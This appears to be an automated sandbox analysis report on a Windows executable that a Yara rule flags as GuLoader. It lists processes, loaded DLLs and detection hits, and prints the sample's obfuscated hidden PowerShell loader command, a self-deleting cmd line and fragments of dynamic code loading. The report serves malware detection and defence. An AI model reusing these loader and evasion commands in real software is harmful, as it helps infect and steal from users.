Source: C:\Users\user\Desktop\24010-KAPSON.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) "
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) "	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: crtdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 24010-KAPSON.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: api-ms-win-crt-locale-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-locale-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-runtime-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-runtime-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-2-0.dll.5.dr
Source:	Binary string: ucrtbase.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-memory-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-debug-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-debug-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source:	Binary string: api-ms-win-core-sysinfo-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-sysinfo-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-filesystem-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-filesystem-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-stdio-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-stdio-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-heap-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-heap-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-util-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-util-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-environment-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-environment-l1-1-0.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, mozglue.dll.5.dr
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-errorhandling-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-console-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-console-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, freebl3.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-private-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-private-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-convert-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-convert-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: msvcp140.i386.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: api-ms-win-core-profile-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-profile-l1-1-0.dll.5.dr
Source:	Binary string: ucrtbase.pdbUGP source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, ucrtbase.dll.5.dr
Source:	Binary string: api-ms-win-crt-time-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-time-l1-1-0.dll.5.dr
Source:	Binary string: CallSite.Targetore.pdb&/ source: powershell.exe, 00000002.00000002.2373657788.0000000008B8D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source:	Binary string: api-ms-win-core-handle-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-handle-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-synch-l1-2-0.dll.5.dr
Source:	Binary string: api-ms-win-core-processenvironment-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processenvironment-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-datetime-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-conio-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-localization-l1-2-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-localization-l1-2-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-math-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-processthreads-l1-1-1.dll.5.dr
Source:	Binary string: s\System.Core.pdbxT source: powershell.exe, 00000002.00000002.2373657788.0000000008BBB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-namedpipe-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-multibyte-l1-1-0.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: api-ms-win-crt-utility-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-utility-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-rtlsupport-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-timezone-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-timezone-l1-1-0.dll.5.dr
Source:	Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nssdbm3.dll.5.dr
Source:	Binary string: api-ms-win-core-string-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-string-l1-1-0.dll.5.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: api-ms-win-core-file-l2-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-file-l2-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-process-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-libraryloader-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-core-interlocked-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-heap-l1-1-0.dll.5.dr
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: msiexec.exe, 00000005.00000002.2588784503.0000000021640000.00000004.00001000.00020000.00000000.sdmp, api-ms-win-crt-string-l1-1-0.dll.5.dr

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000002.00000002.2375833241.000000000A496000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Unprofanely $Historiens $Splenoceratosis), (Penthemimeral @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Omrystet = [AppDomain]::CurrentDomain.GetAssembli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Pamperen)), $Midje).DefineDynamicModule($Umennesket, $false).DefineType($Holotrichal21, $Skolebgernes, [System.MulticastDelegate])$Ter

Suspicious powershell command line found

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) "
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$polyesternes=gc -raw 'C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Presbyophrenic.Int';$Tartness=$polyesternes.SubString(68688,3);.$Tartness($polyesternes) "			Jump to behavior

Source: api-ms-win-core-timezone-l1-1-0.dll.5.dr

Static PE information: 0x78CC598C [Wed Mar 22 16:36:28 2034 UTC]

Source: msvcp140.dll.5.dr

Static PE information: section name: .didat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04DCA5AF push eax; iretd	2_2_04DCA639
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_04DCE9F9 push eax; mov dword ptr [esp], edx	2_2_04DCEA0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_07ACEC90 pushad ; ret	2_2_07ACECB5
